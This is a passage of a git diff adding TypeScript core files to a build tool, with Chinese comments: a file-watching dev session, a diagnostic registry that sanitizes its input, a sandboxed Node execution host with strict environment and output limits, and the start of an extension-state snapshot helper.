已开始但在途轮次尚未排空的标志。 */ + let closing = false; + /** 轮次事件的单调序号。 */ + let sequence = 0; + /** active 轮次后是否需要一次补偿构建。 */ + let pending = false; + /** 首轮及 watcher 对齐尚未完成的标志。 */ + let initializing = true; + /** 待合并到下一轮的工程相对变更。 */ + let pendingChanges = new Set(); + /** 唯一在途的 drain Promise。 */ + let active: Promise | undefined; + /** 空闲期文件事件的短窗口合并计时器。 */ + let debounce: ReturnType | undefined; + /** 最近一轮构建已经读取并登记的物理路径。 */ + let knownBuildPaths = new Set(); + /** 物理 watch path 到安全 change identity/type 的当前映射。 */ + let knownObservations = new Map>(); + /** 最近一次成功或首轮失败的可公开报告。 */ + let current: BuildReport; + /** 配置入口轮询的 mtime/size 组合。 */ + let configStamp: string | undefined; + /** 配置首次解析前不猜测输出根,每轮解析后立即更新。 */ + let outputDirectory: string | undefined; + /** 配置缺失或替换时的保守恢复轮询器。 */ + const poller = input.configFile === undefined + ? undefined + : setInterval(async () => { + if (closed || closing) + return; + /** 当前配置普通文件状态;缺失时映射为空 stamp。 */ + const stat = await fs.stat(input.configFile!).catch(() => undefined); + /** 轮询不读取配置内容,只比较稳定文件元数据。 */ + const stamp = stat === undefined ? '' : `${stat.mtimeMs}:${stat.size}`; + if (configStamp !== undefined && stamp !== configStamp) { + configStamp = stamp; + schedule(input.configFile!); + } else if (configStamp === undefined) { + configStamp = stamp; + if (stamp !== '' && current !== undefined && !current.success) + schedule(input.configFile!); + } + }, 100); + /** close() 完成时解析公开 closed Promise 的函数。 */ + let resolveClosed!: () => void; + /** 调用方可等待的唯一 Session 关闭信号。 */ + const closedPromise = new Promise((resolve) => { + resolveClosed = resolve; + }); + /** 所有并发 close() 调用共享的唯一关闭任务。 */ + let closeTask: Promise | undefined; + + /** 向当前订阅者隔离发布事件。 */ + const emit = (event: DevSessionEvent): void => { + for (const listener of [...listeners]) { + try { + listener(event); + } catch { + /** 异常订阅者自动撤销,不能反复影响后续事件分发。 */ + listeners.delete(listener); + } + } + }; + + /** 空闲时在短暂安静窗口后启动唯一 drain。 */ + const requestDrain = (): void => { + if (closed || closing || initializing || active !== undefined) + return; + if (debounce !== undefined) + clearTimeout(debounce); + debounce = setTimeout(() => { + debounce = undefined; + /** round 自身收敛已知错误;最后防线仍显式观察未知 rejection。 */ + void drain().catch(() => undefined); + }, 100); + }; + + /** 将一个文件事件合并到最多一次补偿轮次。 */ + const schedule = (file: string, event: string = 'change'): void => { + if (closed || closing || ignoredPath(input.projectRoot, outputDirectory, file)) + return; + /** 动态 watcher.add() 会对本轮已读取路径延迟交付 add/addDir,它们不是新变更。 */ + const knownAdd = (event === 'add' || event === 'addDir') && [...knownBuildPaths].some((known) => { + /** pending 文件的首次 add 是真实恢复事件,不能作为 watcher 合成事件丢弃。 */ + if (known === file) + return knownObservations.get(known)?.pending !== true; + if (event !== 'addDir') + return false; + /** addDir 候选是已知文件的祖先时同样是合成 ready 事件。 */ + const relative = path.relative(file, known); + return knownObservations.get(known)?.pending !== true && relative !== '' && relative !== '..' + && !relative.startsWith(`..${path.sep}`) && !path.isAbsolute(relative); + }); + if (knownAdd) + return; + /** 工程外事件必须已经具有 Watch Registry 签发的逻辑 identity。 */ + const identity = changeIdentity(input.projectRoot, file, knownObservations); + if (identity === undefined) + return; + pending = true; + pendingChanges.add(identity); + requestDrain(); + }; + + /** 等待动态增加的精确依赖进入 Chokidar 快照。 */ + const waitUntilWatched = async (paths: readonly string[]): Promise => { + if (paths.length === 0 || watcher === undefined) + return; + /** 有限期 ready 窗口避免关闭永久挂起。 */ + const deadline = Date.now() + watchReadyTimeoutMs; + while (Date.now() < deadline) { + /** Chokidar 当前目录到直属条目的观察快照。 */ + const watched = watcher.getWatched(); + /** 所有新路径都出现在快照中才可对外发布成功。 */ + const ready = paths.every((candidate) => { + /** 快照索引使用物理父目录。 */ + const directory = path.dirname(candidate); + /** 父目录下匹配的精确文件名。 */ + const basename = path.basename(candidate); + return Array.isArray(watched[directory]) && watched[directory].includes(basename); + }); + if (ready) + return; + await new Promise(resolve => setTimeout(resolve, 10)); + } + throw new Error('Dev watcher did not become ready for the build dependency graph.'); + }; + + /** 用最新 Module/Compiler/Resource 图对齐唯一 watcher。 */ + const updateWatcher = async (result: KernelBuildSessionResult, replace: boolean): Promise => { + /** 已解析依赖中排除当前托管输出。 */ + const roundObservations = result.watch.observations + .filter(observation => !ignoredPath(input.projectRoot, outputDirectory, observation.path)); + /** 成功轮原子替换图;失败轮与 last-good 图取并集以保留全部恢复入口。 */ + const nextObservations = replace + ? new Map>() + : new Map(knownObservations); + for (const observation of roundObservations) + nextObservations.set(observation.path, Object.freeze({ + identity: observation.identity, + type: observation.type, + pending: observation.pending, + })); + /** watcher 物理输入与公开 identity 映射来自同一个待提交 snapshot。 */ + const exact = [...nextObservations.keys()]; + /** 工程根用于发现新资源,精确路径用于覆盖外部依赖。 */ + const desired = [...new Set([input.projectRoot, ...exact])].sort(); + if (watcher === undefined) { + watcher = createWatcher(desired, { + ignoreInitial: true, + followSymlinks: false, + /** 忽略策略读取当前动态输出根。 */ + ignored: (candidate: string) => ignoredPath(input.projectRoot, outputDirectory, candidate), + awaitWriteFinish: { stabilityThreshold: 100, pollInterval: 20 }, + }); + watcher.on('all', (event, file) => schedule(file, event)); + await new Promise((resolve, reject) => { + watcher!.once('ready', resolve); + watcher!.once('error', reject); + }); + watcherReadyAt = Date.now(); + watchedPaths = new Set(desired); + knownObservations = nextObservations; + knownBuildPaths = new Set(exact); + return; + } + /** 下一轮观察路径的去重集合。 */ + const next = new Set(desired); + /** 已不在最新构建图中的路径。 */ + const removed = [...watchedPaths].filter(candidate => !next.has(candidate)); + /** 需在发布成功前完成 ready 的新路径。 */ + const added = desired.filter(candidate => !watchedPaths.has(candidate)); + /** pending 文件不会在出现前进入 getWatched 的直属文件快照。 */ + const readiness = added.filter(candidate => nextObservations.get(candidate)?.pending !== true); + if (added.length > 0) { + watcher.add(added); + await waitUntilWatched(readiness); + } + /** 先扩张再收缩可保证任一失败时物理 watcher 至少是 last-good 的超集。 */ + if (removed.length > 0) + await watcher.unwatch(removed); + /** 所有物理操作成功后一次提交三份相互一致的逻辑状态。 */ + watchedPaths = next; + knownObservations = nextObservations; + knownBuildPaths = new Set(exact); + }; + + /** 使用全新 Kernel environment 执行一个完整构建轮次。 */ + const runRound = async (_changes: readonly string[]): Promise => { + /** 本轮独占的 capability 和中间目录环境。 */ + const environment = await createKernelBuildEnvironment(input.projectRoot); + /** 本轮最终的安全 BuildReport。 */ + let result: BuildReport; + /** 配置成功进入 BuildSession 后产生的报告与 watch 快照。 */ + let sessionResult: KernelBuildSessionResult | undefined; + try { + try { + /** 每轮 fresh evaluate 后的完整 Kernel 配置。 */ + const config = await input.loadConfig(environment); + outputDirectory = config.outDirectory; + sessionResult = await runKernelBuildSession({ + config, + frameworkVersion: input.frameworkVersion, + ...(selection === undefined ? {} : { selection }), + commit, + environment, + }); + result = sessionResult.report; + } catch (error) { + /** 已知配置异常中允许继续 watch 的稳定诊断。 */ + const diagnostics = error && typeof error === 'object' && 'diagnostics' in error + ? Reflect.get(error, 'diagnostics') + : undefined; + result = await failureReport(input, environment, Array.isArray(diagnostics) + ? diagnostics as readonly Diagnostic[] + : [{ + code: 'DEV_BUILD_FAILED', severity: 'error', phase: 'dev', message: 'Dev build failed.', + }]); + } + /** 失败轮也保留在失败前已登记的依赖快照。 */ + const watch = sessionResult?.watch ?? environment.watch.snapshot(); + return Object.freeze({ report: result, watch }); + } finally { + await disposeKernelBuildEnvironment(environment); + } + }; + + /** 执行一轮;初始化补偿轮不发布调用方无法订阅的事件。 */ + const round = async (changes: readonly string[], publish = true): Promise => { + /** 只有 Session resolve 后的公开 rebuild 才占用事件序号。 */ + const number = publish ? ++sequence : 0; + if (publish) + emit(Object.freeze({ type: 'build-start', sequence: number, changes: Object.freeze([...changes]) })); + /** 任意内部异常最终都必须映射为本 sequence 的一个完成报告。 */ + let result: BuildReport; + try { + /** 本轮内部报告和依赖快照。 */ + const roundResult = await runRound(changes); + result = roundResult.report; + /** closing 不再需要扩张 watcher,但在途轮仍必须完整发布并更新成功报告。 */ + if (!closing) { + try { + await updateWatcher(roundResult, result.success); + } catch { + result = await isolatedFailureReport(input, Object.freeze({ + code: 'DEV_WATCH_FAILED', severity: 'error', phase: 'dev', message: 'Dev watcher reconciliation failed.', + })); + } + } + } catch { + result = await isolatedFailureReport(input, Object.freeze({ + code: 'DEV_BUILD_FAILED', severity: 'error', phase: 'dev', message: 'Dev build failed.', + })); + } + if (result.success) + current = result; + if (publish && !closed) + emit(Object.freeze({ type: 'build-complete', sequence: number, changes: Object.freeze([...changes]), report: result })); + }; + + /** 串行排空所有已合并修改。 */ + const drain = async (publish = true): Promise => { + if (closed || closing) + return; + if (active !== undefined) { + await active; + return; + } + if (debounce !== undefined) { + clearTimeout(debounce); + debounce = undefined; + } + active = (async () => { + do { + pending = false; + /** 本轮的稳定变更路径快照。 */ + const changes = [...pendingChanges].sort(); + pendingChanges = new Set(); + await round(changes, publish); + } while (pending && !closed && !closing); + })().finally(() => { + active = undefined; + if (pending && !closed && !closing) + requestDrain(); + }); + await active; + }; + + /** 初始化抛出时用于无条件释放 poller/半建立 watcher。 */ + let initializationComplete = false; + try { + try { + /** 首轮构建前先监听工程根,避免构建期间的修改丢失。 */ + watcher = createWatcher([input.projectRoot], { + ignoreInitial: true, + followSymlinks: false, + /** 首轮同样使用可更新的解析输出根。 */ + ignored: (candidate: string) => ignoredPath(input.projectRoot, outputDirectory, candidate), + awaitWriteFinish: { stabilityThreshold: 100, pollInterval: 20 }, + }); + watcher.on('all', (event, file) => schedule(file, event)); + await new Promise((resolve, reject) => { + watcher!.once('ready', resolve); + watcher!.once('error', reject); + }); + watcherReadyAt = Date.now(); + watchedPaths = new Set([input.projectRoot]); + /** 首轮在 watcher ready 后开始,使建立期修改可补偿。 */ + const first = await runRound([]); + current = first.report; + await updateWatcher(first, first.report.success); + /** 给 chokidar 一个稳定窗口交付首轮期间发生的写入。 */ + await new Promise(resolve => setTimeout(resolve, Math.max(0, 20 - (Date.now() - watcherReadyAt)))); + } catch (error) { + /** 失败 watcher 不得进入后续 reconciliation。 */ + if (watcher !== undefined) { + await watcher.close().catch(() => undefined); + watcher = undefined; + watchedPaths = new Set(); + } + /** watcher 初始化异常的失败报告也需要受管环境。 */ + const environment = await createKernelBuildEnvironment(input.projectRoot); + try { + current = await failureReport(input, environment, input.initialConfigError?.(error) ?? [{ + code: 'DEV_WATCH_FAILED', severity: 'error', phase: 'dev', message: 'Dev watcher setup failed.', + }]); + await updateWatcher({ report: current, watch: environment.watch.snapshot() }, false); + } finally { + await disposeKernelBuildEnvironment(environment); + } + } + initializationComplete = true; + } finally { + if (!initializationComplete) { + if (poller !== undefined) + clearInterval(poller); + await watcher?.close().catch(() => undefined); + watcher = undefined; + } + } + + initializing = false; + if (!current.success && input.configFile !== undefined + && await fs.stat(input.configFile).then(() => true).catch(() => false)) { + schedule(input.configFile); + } + if (pending && !closed && !closing) + await drain(false); + + /** 公开 Session 外壳只暴露报告、事件和幂等关闭。 */ + const session: DevSession = { + /** 返回最近一次可公开的报告。 */ + get current() { return current; }, + /** 登记一个事件订阅者并返回取消函数。 */ + subscribe(listener) { + listeners.add(listener); + return () => listeners.delete(listener); + }, + /** 排空在途轮次、发布 closed、关闭 watcher 并撤销订阅。 */ + close() { + if (closeTask !== undefined) + return closeTask; + closeTask = (async () => { + /** cleanup errors 在终态发布后统一交给 close() 调用方。 */ + const failures: unknown[] = []; + closing = true; + pending = false; + pendingChanges = new Set(); + if (debounce !== undefined) { + clearTimeout(debounce); + debounce = undefined; + } + try { + try { + await active; + } catch (error) { + failures.push(error); + } + if (watcher !== undefined) { + try { + await watcher.close(); + } catch (error) { + failures.push(error); + } finally { + watcher = undefined; + } + } + } finally { + if (poller !== undefined) + clearInterval(poller); + closed = true; + emit(Object.freeze({ type: 'closed', sequence, report: current })); + listeners.clear(); + resolveClosed(); + } + if (failures.length > 0) + throw new AggregateError(failures, 'DevSession cleanup failed.'); + })(); + return closeTask; + }, + closed: closedPromise, + }; + return Object.freeze(session); +} diff --git a/packages/core/src/kernel/diagnostic-registry.ts b/packages/core/src/kernel/diagnostic-registry.ts new file mode 100644 index 0000000..21f536e --- /dev/null +++ b/packages/core/src/kernel/diagnostic-registry.ts @@ -0,0 +1,143 @@ +import type { Diagnostic, DiagnosticInput, DiagnosticPhase, DiagnosticService } from '../kernel-types.js'; +import { compareCodePoints, safeRelativePath } from './path-policy.js'; +import { sanitizeStableText } from './report-safety.js'; + +/** + * 比较可选稳定文本。 + * + * @param left 左侧值。 + * @param right 右侧值。 + * @returns code-point 排序结果。 + */ +function compareOptional(left: string | undefined, right: string | undefined): number { + return compareCodePoints(left ?? '', right ?? ''); +} + +/** + * 校验并复制 Integration 可提交的诊断。 + * + * @param input 未受信任的诊断输入。 + * @returns 不含绝对路径和未知字段的冻结快照。 + */ +function diagnosticInput(input: DiagnosticInput): DiagnosticInput { + if (typeof input !== 'object' || input === null || Array.isArray(input)) + throw new TypeError('Diagnostic input must be an object.'); + /** SDK 诊断允许出现的完整字段集合。 */ + const allowed = new Set(['code', 'severity', 'message', 'location', 'fieldPath', 'hint']); + if (Object.keys(input).some(field => !allowed.has(field))) + throw new TypeError('Diagnostic input contains unknown fields.'); + if (!/^[A-Z][A-Z0-9_]*$/.test(input.code) + || (input.severity !== 'warning' && input.severity !== 'error') + || typeof input.message !== 'string' || input.message.length === 0) { + throw new TypeError('Diagnostic code, severity or message is invalid.'); + } + /** 自由文本在进入稳定集合前移除凭据、绝对路径和控制字符。 */ + const message = sanitizeStableText(input.message); + if (message.length === 0) + throw new TypeError('Diagnostic message must not become empty after sanitization.'); + /** 可选来源位置只能使用安全工程相对路径。 */ + const location = input.location === undefined + ? undefined + : Object.freeze({ + path: safeRelativePath(input.location.path), + ...(input.location.line === undefined ? {} : { line: input.location.line }), + ...(input.location.column === undefined ? {} : { column: input.location.column }), + }); + if (location !== undefined + && ((location.line !== undefined && (!Number.isSafeInteger(location.line) || location.line <= 0)) + || (location.column !== undefined && (!Number.isSafeInteger(location.column) || location.column <= 0)))) { + throw new TypeError('Diagnostic location coordinates are invalid.'); + } + /** 字段路径复制后不再受调用方 mutation 影响。 */ + const fieldPath = input.fieldPath === undefined ? undefined : Object.freeze([...input.fieldPath]); + if (fieldPath?.some(field => (typeof field !== 'string' && typeof field !== 'number') + || (typeof field === 'number' && (!Number.isSafeInteger(field) || field < 0)))) { + throw new TypeError('Diagnostic fieldPath is invalid.'); + } + if (input.hint !== undefined && (typeof input.hint !== 'string' || input.hint.length === 0)) + throw new TypeError('Diagnostic hint is invalid.'); + /** hint 使用与 message 相同的稳定脱敏边界。 */ + const hint = input.hint === undefined ? undefined : sanitizeStableText(input.hint); + if (hint !== undefined && hint.length === 0) + throw new TypeError('Diagnostic hint must not become empty after sanitization.'); + return Object.freeze({ + code: input.code, + severity: input.severity, + message, + ...(location === undefined ? {} : { location }), + ...(fieldPath === undefined ? {} : { fieldPath }), + ...(hint === undefined ? {} : { hint }), + }); +} + +/** BuildSession 内统一绑定 phase/owner 的诊断 Registry。 */ +export class DiagnosticRegistry { + /** 尚未排序的内部诊断集合。 */ + readonly #items: Diagnostic[] = []; + + /** @returns 当前是否已经存在阻止构建的错误。 */ + get hasErrors(): boolean { + return this.#items.some(item => item.severity === 'error'); + } + + /** @returns 脱离内部数组且稳定排序的冻结诊断快照。 */ + get diagnostics(): readonly Diagnostic[] { + return Object.freeze([...this.#items].sort((left, right) => + compareOptional(left.platform, right.platform) + || compareOptional(left.extension, right.extension) + || compareOptional(left.owner, right.owner) + || compareOptional(left.location?.path, right.location?.path) + || (left.location?.line ?? 0) - (right.location?.line ?? 0) + || compareCodePoints(left.code, right.code) + || compareCodePoints(left.message, right.message))); + } + + /** + * 由 Core 自己提交已经绑定身份的诊断。 + * + * @param phase 固定生命周期阶段。 + * @param input 公开诊断字段。 + * @param identity 可选 owner/platform/extension/component 身份。 + */ + report( + phase: DiagnosticPhase, + input: DiagnosticInput, + identity: Pick = {}, + ): void { + /** 所有公开字段在进入可排序集合前建立数据边界。 */ + const normalized = diagnosticInput(input); + /** related locations 也必须逐项通过 project-relative path 边界。 */ + const related = identity.related?.map((location) => { + /** 重用公开 Diagnostic location 校验以保持坐标规则一致。 */ + const validated = diagnosticInput({ code: 'RELATED_LOCATION', severity: 'error', message: 'Related location.', location }).location!; + return validated; + }); + /** Core identity 字段从调用者闭包传入而不是从 SDK input 读取。 */ + this.#items.push(Object.freeze({ + ...normalized, + phase, + ...(identity.owner === undefined ? {} : { owner: identity.owner }), + ...(identity.platform === undefined ? {} : { platform: identity.platform }), + ...(identity.extension === undefined ? {} : { extension: identity.extension }), + ...(identity.component === undefined ? {} : { component: Object.freeze({ ...identity.component }) }), + ...(related === undefined ? {} : { related: Object.freeze(related) }), + })); + } + + /** + * 创建不允许调用方覆盖 phase/owner 的闭包服务。 + * + * @param phase 当前固定阶段。 + * @param identity 当前 owner/platform/extension 身份。 + * @returns 冻结 DiagnosticService。 + */ + service( + phase: DiagnosticPhase, + identity: Pick = {}, + ): DiagnosticService { + return Object.freeze({ + /** 调用方只能提交公开字段,phase 与身份由闭包固定。 */ + report: (input: DiagnosticInput) => this.report(phase, input, identity), + }); + } +} diff --git a/packages/core/src/kernel/execution-host.ts b/packages/core/src/kernel/execution-host.ts new file mode 100644 index 0000000..82c914a --- /dev/null +++ b/packages/core/src/kernel/execution-host.ts @@ -0,0 +1,245 @@ +import { spawn } from 'node:child_process'; +import { promises as fs } from 'node:fs'; +import process from 'node:process'; +import type { ExecutionResult, ExecutionService, GeneratedAssetRef } from '../kernel-types.js'; +import { AssetRegistry } from './asset-registry.js'; +import { WorkDirectoryRegistry } from './work-directories.js'; + +/** Execution Host 固定全局超时上限。 */ +const MAX_TIMEOUT_MS = 60_000; + +/** Execution Host 固定 stdout+stderr 单流字节上限。 */ +const MAX_OUTPUT_BYTES = 4 * 1024 * 1024; + +/** Execution Host stdin/args/env literal 单值上限。 */ +const MAX_INPUT_BYTES = 1024 * 1024; + +/** 调用方允许显式传入的普通环境变量名。 */ +const ENVIRONMENT_NAME = /^[A-Z_][A-Z0-9_]*$/; + +/** 永远拒绝通过 Execution API 注入的常见凭据变量名片段。 */ +const SENSITIVE_ENVIRONMENT = /(?:TOKEN|SECRET|PASSWORD|PASSWD|PRIVATE|CREDENTIAL|AUTH|COOKIE|SESSION|KEY)/u; + +/** 会改变 Node/动态链接器执行边界的环境变量。 */ +const RUNTIME_CONTROL_ENVIRONMENT = /^(?:(?:NODE|NPM|PNPM|YARN|LD|DYLD)_|PATH$|HOME$|USERPROFILE$|TMPDIR$|TEMP$|TMP$)/u; + +/** + * 校验调用方请求的正整数上限。 + * + * @param value 请求值。 + * @param maximum Core 固定最大值。 + * @param label 稳定诊断字段。 + * @returns 可安全交给 timer/stream 的整数。 + */ +function boundedInteger(value: unknown, maximum: number, label: string): number { + if (!Number.isSafeInteger(value) || (value as number) <= 0 || (value as number) > maximum) + throw new Error(`${label} must be a positive integer no greater than ${maximum}.`); + return value as number; +} + +/** + * 复制并验证一个 protocol-neutral literal 环境。 + * + * @param input 调用方显式环境字段。 + * @returns 不继承 process.env 的最小环境。 + */ +function executionEnvironment(input: unknown): NodeJS.ProcessEnv { + if (input === undefined) + return {}; + if (typeof input !== 'object' || input === null || Array.isArray(input)) + throw new Error('Execution environment must be a string map.'); + /** 只接受 data property,避免读取 getter。 */ + const descriptors = Object.getOwnPropertyDescriptors(input); + /** 不继承宿主环境的全新最小环境。 */ + const environment: NodeJS.ProcessEnv = {}; + for (const name of Object.keys(descriptors).sort()) { + /** 当前环境变量的 data property descriptor。 */ + const descriptor = descriptors[name]!; + if (!('value' in descriptor) || !ENVIRONMENT_NAME.test(name) || SENSITIVE_ENVIRONMENT.test(name) + || RUNTIME_CONTROL_ENVIRONMENT.test(name) + || typeof descriptor.value !== 'string' || Buffer.byteLength(descriptor.value) > 4096) { + throw new Error('Execution environment contains an unsafe name or value.'); + } + environment[name] = descriptor.value; + } + /** Windows Node 启动所需的系统根可以从宿主复制,但不会复制其他环境。 */ + if (process.platform === 'win32' && typeof process.env.SystemRoot === 'string') + environment.SystemRoot = process.env.SystemRoot; + return environment; +} + +/** Execution Host 的 Session registries。 */ +export interface ExecutionHostOptions { + readonly assets: AssetRegistry; + readonly workDirectories: WorkDirectoryRegistry; +} + +/** Core 唯一 process execution boundary。 */ +export class ExecutionHost { + /** AssetRef runtime authorization 和 bytes snapshot。 */ + readonly #assets: AssetRegistry; + /** owner-scoped 隔离 cwd 与 materialization root。 */ + readonly #workDirectories: WorkDirectoryRegistry; + /** owner 内执行序号只用于 workDir 路径,不进入公开结果。 */ + readonly #sequences = new Map(); + + /** + * 创建当前 BuildSession 的 Execution Host。 + * + * @param options 当前 Session registries。 + */ + constructor(options: ExecutionHostOptions) { + this.#assets = options.assets; + this.#workDirectories = options.workDirectories; + } + + /** + * 为一个 owner 签发闭包绑定的 ExecutionService。 + * + * @param owner 当前 Framework/Extension owner。 + * @returns 不接受调用方自报 owner 的执行能力。 + */ + service(owner: string): ExecutionService { + if (typeof owner !== 'string' || owner.length === 0) + throw new Error('Execution owner must be a non-empty string.'); + /** 显式类型注解保留 SDK request 的上下文类型。 */ + const service: ExecutionService = { + /** portable entry 的授权和执行始终绑定当前 owner。 */ + runNode: request => this.#runNode(owner, request), + }; + return Object.freeze(service); + } + + /** + * 物化并运行一个受权 portable-node entry。 + * + * @param owner 当前 service owner。 + * @param request 执行入口和固定资源上限。 + * @returns 不携带 cwd/path/error stack 的稳定进程结果。 + */ + async #runNode(owner: string, request: { + readonly entry: GeneratedAssetRef; + readonly args?: readonly string[]; + readonly stdin?: Uint8Array | string; + readonly timeoutMs: number; + readonly maxOutputBytes: number; + readonly environment?: Readonly>; + }): Promise { + if (typeof request !== 'object' || request === null + || Object.keys(request).some(field => !new Set(['entry', 'args', 'stdin', 'timeoutMs', 'maxOutputBytes', 'environment']).has(field))) { + throw new Error('Execution request contains unknown fields.'); + } + /** 当前请求经 Core 全局上限收窄后的超时。 */ + const timeoutMs = boundedInteger(request.timeoutMs, MAX_TIMEOUT_MS, 'Execution timeoutMs'); + /** 当前请求经 Core 全局上限收窄后的输出限制。 */ + const maxOutputBytes = boundedInteger(request.maxOutputBytes, MAX_OUTPUT_BYTES, 'Execution maxOutputBytes'); + /** entry 必须是当前 owner 可读且确实来自 portable main Chunk。 */ + const metadata = this.#assets.describe(owner, request.entry); + if (metadata.kind !== 'generated-asset' || metadata.origin.type !== 'compile' + || metadata.origin.profile !== 'portable-node' || metadata.origin.kind !== 'chunk') { + throw new Error('Execution entry must be a portable-node generated chunk.'); + } + /** 参数是不会经过 shell 的 literal string 数组。 */ + const args = request.args === undefined ? [] : [...request.args]; + if (args.some(value => typeof value !== 'string' || value.includes('\0') || Buffer.byteLength(value) > 4096) + || args.reduce((size, value) => size + Buffer.byteLength(value), 0) > MAX_INPUT_BYTES) { + throw new Error('Execution args exceed the safe literal boundary.'); + } + /** stdin 在 spawn 前复制,调用方后续 mutation 不影响执行。 */ + const stdin = request.stdin === undefined + ? undefined + : typeof request.stdin === 'string' + ? Buffer.from(request.stdin) + : Buffer.from(Uint8Array.from(request.stdin)); + if (stdin !== undefined && stdin.byteLength > MAX_INPUT_BYTES) + throw new Error('Execution stdin exceeds the safe input boundary.'); + /** 不继承宿主变量的安全最小环境。 */ + const environment = executionEnvironment(request.environment); + /** 每次执行使用 owner workDir 下新的隔离 cwd。 */ + const sequence = (this.#sequences.get(owner) ?? 0) + 1; + this.#sequences.set(owner, sequence); + /** 当前 owner 的唯一 workDir handle。 */ + const workDirectory = await this.#workDirectories.directory(owner); + /** 本次执行独占的 workDir-relative 根。 */ + const relativeRoot = `execution/${sequence}`; + /** 子进程隔离 cwd。 */ + const cwd = this.#workDirectories.resolve(owner, workDirectory, relativeRoot); + /** portable main 的临时物化路径。 */ + const entry = this.#workDirectories.resolve(owner, workDirectory, `${relativeRoot}/main.mjs`); + try { + await fs.mkdir(cwd, { recursive: true, mode: 0o700 }); + /** 读取同时复核生成文件 hash;临时物化保留受管 Asset mode。 */ + await fs.writeFile(entry, await this.#assets.read(owner, request.entry), { flag: 'wx', mode: metadata.mode }); + return await new Promise((resolve, reject) => { + /** 不经过 shell/PATH,只使用当前 Node executable。 */ + const child = spawn(process.execPath, [entry, ...args], { + cwd, + env: environment, + shell: false, + stdio: ['pipe', 'pipe', 'pipe'], + }); + /** 两个输出流分别在同一 Core 上限内收集。 */ + const stdout: Buffer[] = []; + /** stderr 的稳定 chunk snapshots。 */ + const stderr: Buffer[] = []; + /** stdout 与 stderr 共享同一个请求输出预算。 */ + let outputSize = 0; + /** timeout/output-limit 提前决定的稳定状态。 */ + let terminalStatus: ExecutionResult['status'] | undefined; + /** error/close 只能完成 Promise 一次。 */ + let settled = false; + /** 超时触发后强制终止,不返回原始错误。 */ + const terminate = (status: 'timed-out' | 'output-limit'): void => { + if (terminalStatus !== undefined) + return; + terminalStatus = status; + child.kill('SIGKILL'); + }; + /** 当前请求固定超时计时器。 */ + const timeout = setTimeout(() => terminate('timed-out'), timeoutMs); + /** 输出超限时不保存越界 chunk 并终止。 */ + const collect = (target: Buffer[], chunk: Buffer): void => { + /** 两个输出流加入当前 chunk 后的候选总大小。 */ + const next = outputSize + chunk.byteLength; + if (next > maxOutputBytes) { + terminate('output-limit'); + return; + } + target.push(Buffer.from(chunk)); + outputSize = next; + }; + child.stdout.on('data', (chunk: Buffer) => collect(stdout, chunk)); + child.stderr.on('data', (chunk: Buffer) => collect(stderr, chunk)); + /** 子进程提前退出造成的 EPIPE 不得成为未处理的宿主异常。 */ + child.stdin.on('error', () => undefined); + child.once('error', () => { + clearTimeout(timeout); + if (!settled) { + settled = true; + reject(new Error('Node execution could not start.')); + } + }); + child.once('close', (exitCode, signal) => { + clearTimeout(timeout); + if (settled) + return; + settled = true; + resolve(Object.freeze({ + status: terminalStatus ?? (signal === null ? 'exited' : 'signaled'), + exitCode, + signal, + stdout: Uint8Array.from(Buffer.concat(stdout)), + stderr: Uint8Array.from(Buffer.concat(stderr)), + })); + }); + if (stdin === undefined) + child.stdin.end(); + else + child.stdin.end(stdin); + }); + } finally { + /** execution work materialization 在所有成功/失败路径清理。 */ + await fs.rm(cwd, { recursive: true, force: true }); + } + } +} diff --git a/packages/core/src/kernel/extension-state.ts b/packages/core/src/kernel/extension-state.ts new file mode 100644 index 0000000..8fb879e --- /dev/null +++ b/packages/core/src/kernel/extension-state.ts @@ -0,0 +1,157 @@ +import type { AssetRef, SourceDirectoryRef, SourceFileRef } from '../kernel-types.js'; +import { AssetRegistry } from './asset-registry.js'; +import { SourceRegistry } from './source-registry.js'; + +/** Extension State 支持的两个权限阶段。 */ +export type ExtensionStatePhase = 'discovered' | 'validated' | 'built'; + +/** State snapshot 递归上下文。 */ +interface SnapshotContext { + readonly owner: string; + readonly phase: ExtensionStatePhase; + readonly sources: SourceRegistry; + readonly assets: AssetRegistry; + readonly ancestors: Set; + readonly path: string; +} + +/** + * 尝试把对象识别为当前 owner 的受权 SourceRef。 + * + * @param value 当前对象。 + * @param context Extension snapshot 上下文。 + * @returns 有效 SourceRef 原始 identity 或 undefined。 + */ +function sourceReference(value: object, context: SnapshotContext): SourceDirectoryRef | SourceFileRef | undefined { + /** kind 只用于选择 Registry 授权分支,不能作为真实性依据。 */ + const kind = (value as { readonly kind?: unknown }).kind; + if (context.phase === 'built') { + if (kind === 'source-file' || kind === 'source-directory') + throw new TypeError(`${context.path} must not contain SourceRef after build.`); + return undefined; + } + try { + if (kind === 'source-file') { + context.sources.authorizeFile(context.owner, value as SourceFileRef); + return value as SourceFileRef; + } + if (kind === 'source-directory') { + context.sources.authorizeDirectory(context.owner, value as SourceDirectoryRef); + return value as SourceDirectoryRef; + } + } catch { + throw new TypeError(`${context.path} contains a forged or unauthorized SourceRef.`); + } + return undefined; +} + +/** + * 尝试把对象识别为当前 owner 的受权 AssetRef。 + * + * @param value 当前对象。 + * @param context Extension snapshot 上下文。 + * @returns 有效 AssetRef 原始 identity 或 undefined。 + */ +function assetReference(value: object, context: SnapshotContext): AssetRef | undefined { + /** Asset kind 同样必须随后通过 WeakMap identity 校验。 */ + const kind = (value as { readonly kind?: unknown }).kind; + if (kind !== 'source-asset' && kind !== 'generated-asset' && kind !== 'bytes-asset') + return undefined; + try { + context.assets.describe(context.owner, value as AssetRef); + return value as AssetRef; + } catch { + throw new TypeError(`${context.path} contains a forged or unauthorized AssetRef.`); + } +} + +/** + * 复制普通 State 数据并保留不可伪造 ref identity。 + * + * @param value 当前递归值。 + * @param context 当前路径和权限边界。 + * @returns 深冻普通数据或原始受权 ref。 + */ +function snapshotValue(value: unknown, context: SnapshotContext): unknown { + if (value === null || typeof value === 'string' || typeof value === 'boolean') + return value; + if (typeof value === 'number') { + if (!Number.isFinite(value)) + throw new TypeError(`${context.path} contains a non-finite number.`); + return value; + } + if (typeof value !== 'object') + throw new TypeError(`${context.path} contains unsupported executable or symbolic data.`); + /** SourceRef/AssetRef 必须在读取对象字段前按 Registry identity 授权。 */ + const source = sourceReference(value, context); + if (source !== undefined) + return source; + /** AssetRef 保留原始不可伪造对象 identity。 */ + const asset = assetReference(value, context); + if (asset !== undefined) + return asset; + if (context.ancestors.has(value)) + throw new TypeError(`${context.path} contains a cycle.`); + context.ancestors.add(value); + try { + if (Array.isArray(value)) { + /** 稀疏或带自定义属性的数组不是无歧义 State。 */ + const fields = Object.getOwnPropertyDescriptors(value); + for (let index = 0; index < value.length; index 